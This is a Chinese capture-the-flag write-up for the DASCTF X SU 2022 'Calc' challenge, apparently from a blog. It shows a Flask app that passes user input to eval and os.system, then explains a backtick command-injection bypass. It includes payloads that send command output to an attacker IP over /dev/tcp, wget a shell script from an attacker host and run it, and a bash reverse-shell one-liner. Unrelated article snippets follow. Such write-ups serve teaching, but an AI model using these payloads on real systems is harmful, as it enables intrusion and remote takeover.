2022DASCTF X SU 三月春季挑战赛 Calc
查看代码
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    num=1#`ls`
@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)
首先放出源码
然后观察可以知道,对num的过滤极其严格,所以突破口并不在num上,自然而然想到突破口应该是log
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
程序会将num插入到log字符串的最后然后先后执行 eval(num)和os.system(log)。
我们要想办法在第二个函数上执行但是要避免在eval函数中报错以导致程序不会进行下一步。基于python特性想到了用#注释。
然后就可以使用`代码`来优先执行,其实$()有相同作用但是被过滤了。
接下来有多种方法我挨个尝试。
1 输出重定向到攻击机
payload:calc?num=1%23`ls%09>/dev/tcp/IP/2333`
直接将输出重定向到攻击机 因为空格被过滤所以用制表符

然后直接打开这个文件即可

2 命令行反弹
因为&被过滤不能直接用
bash -i >& /dev/tcp/IP/2333 0>&1
所以现在本地用python写一个文件,然后开启服务器
让目标机读取本机上的文件并执行即可。(哦别忘了在云服务器上安全组开启端口)


ok 这就结束了
payload:
calc?num=1%23`wget%09http://Ip/log.sh`
calc?num=1%23`bash%09log.sh`
第二种方法结束。
还有其他避开eval报错得到方法还可以去学习
2022DASCTF X SU 三月春季挑战赛 Calc的更多相关文章
- 2022DASCTF X SU 三月春季挑战赛 ezpop
		
复现一道dactf的ezpop <?php class crow { public $v1; public $v2; function eval() { echo new $this->v ...
 - 2022DASCTF Apr X FATE 防疫挑战赛-- SimpleFlow
		
1.SimpleFlow 得到pcapng文件,协议分级统计显示大部分为TCP流和http流 过滤http流,发现了flag.zip,foremost分离,得到加密的zip 在pcapng中寻找pas ...
 - linux su和sudo命令的区别
		
一. 使用 su 命令临时切换用户身份 1.su 的适用条件和威力 su命令就是切换用户的工具,怎么理解呢?比如我们以普通用户beinan登录的,但要添加用户任务,执行useradd ,beinan用 ...
 - .NET Core 2.0版本预计于2017年春季发布
		
英文原文: NET Core 2.0 Planned for Spring 2017 微软项目经理 Immo Landwerth 公布了即将推出的 .NET Core 2.0 版本的细节,该版本预计于 ...
 - entrar en su zapatilla de deporte en este lugar
		
Mientras que yo apareció su campo usando nuestro Nike Glide Wildhorse sólo dos ($ 110) zapatillas de ...
 - su与su-
		
1.Linux中的用户切换:su和su - 的区别 大部分Linux发行版的默认账户是普通用户,而更改系统文件或者执行某些命令,需要root身份才能进行,这就需要从当前用户切换到root用户,Linu ...
 - su root认证失败的解决方法
		
sudo passwd 输入安装密码. 输入新密码. 输入 su 即获得root权限.
 - BZOJ2506: calc
		
Description 给一个长度为n的非负整数序列A1,A2,…,An.现有m个询问,每次询问给出l,r,p,k,问满足l<=i<=r且Ai mod p = k的值 ...
 - su到普通用户不能起图形 解决办法
		
环境介绍: 登录系统的时候采用的是root用户,然后su - oracle帐户后,然后执行startx命令启动图形界面之后就报如下的错误,根据提示是PAM起作用了.如下是错误信息:[ora ...
 
随机推荐
- 微服务从代码到k8s部署应有尽有系列(十一、日志收集)
			
我们用一个系列来讲解从需求到上线.从代码到k8s部署.从日志到监控等各个方面的微服务完整实践. 整个项目使用了go-zero开发的微服务,基本包含了go-zero以及相关go-zero作者开发的一些中 ...
 - [手写系列] 带你实现一个简单的Promise
			
简介 学习之前 需要先对Promise有个基本了解哦,这里都默认大家都是比较熟悉Promise的 本次将带小伙伴们实现Promise的基本功能 Promise的基本骨架 Promise的then Pr ...
 - C++_Leecode20有效的括号
			
一.题目介绍 1.题目描述 给定一个只包括 '(',')','{','}','[',']' 的字符串 s ,判断字符串是否有效. 有效字符串需满足: 左括号必须用相同类型的右括号闭合. 左括号必须以正 ...
 - docker学习(一) - docker简介
			
(一)Docker是什么? Docker 是一个开源的应用容器引擎,你可以将其理解为一个轻量级的虚拟机,开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上 ...
 - MATLAB绘制三角网及三维网线
			
今天博主给大家介绍一些比较常见的可视化操作,绘制三角网及三维网线. 三角网是由一系列连续三角形构成的网状的平面控制图形,是三角测量中布设连续三角形的两种主要扩展形式,同时向各方向扩展而构成网状,优点为 ...
 - chap8-fluent python
			
浅拷贝 VS 深拷贝 # In[] # list 生成一个新的引用对象,只是用alst完成初始化 alst = [1,2,3,4,5] blst=list(alst) alst.append(6) p ...
 - JavaWeb 05_JDBC入门及连接MySQL
			
一.概念 *概念: Java DataBase Connectivity Java数据库连接, Java语言操作数据库* JDBC本质:其实是官方(sun公司)定义的一套操作所有关系型数 ...
 - Docker——questions
			
服务器的防火墙有什么用?(P14) Tomcat中的webapps.dist这一文件输出目录是用来做什么的?(P15) 容器之间实现数据共享的基础是要在主机有挂载的卷?
 - Spring——初识
			
1.1 使用 导包:Spring Web MVC(maven) <!-- https://mvnrepository.com/artifact/org.springframework/sprin ...
 - FrameScan CMS漏洞扫描
			
工具简介 GithubL:https://github.com/qianxiao996/FrameScan FrameScan是一款python3编写的简易的cms漏洞检测框架,支持多种检测方式,支持 ...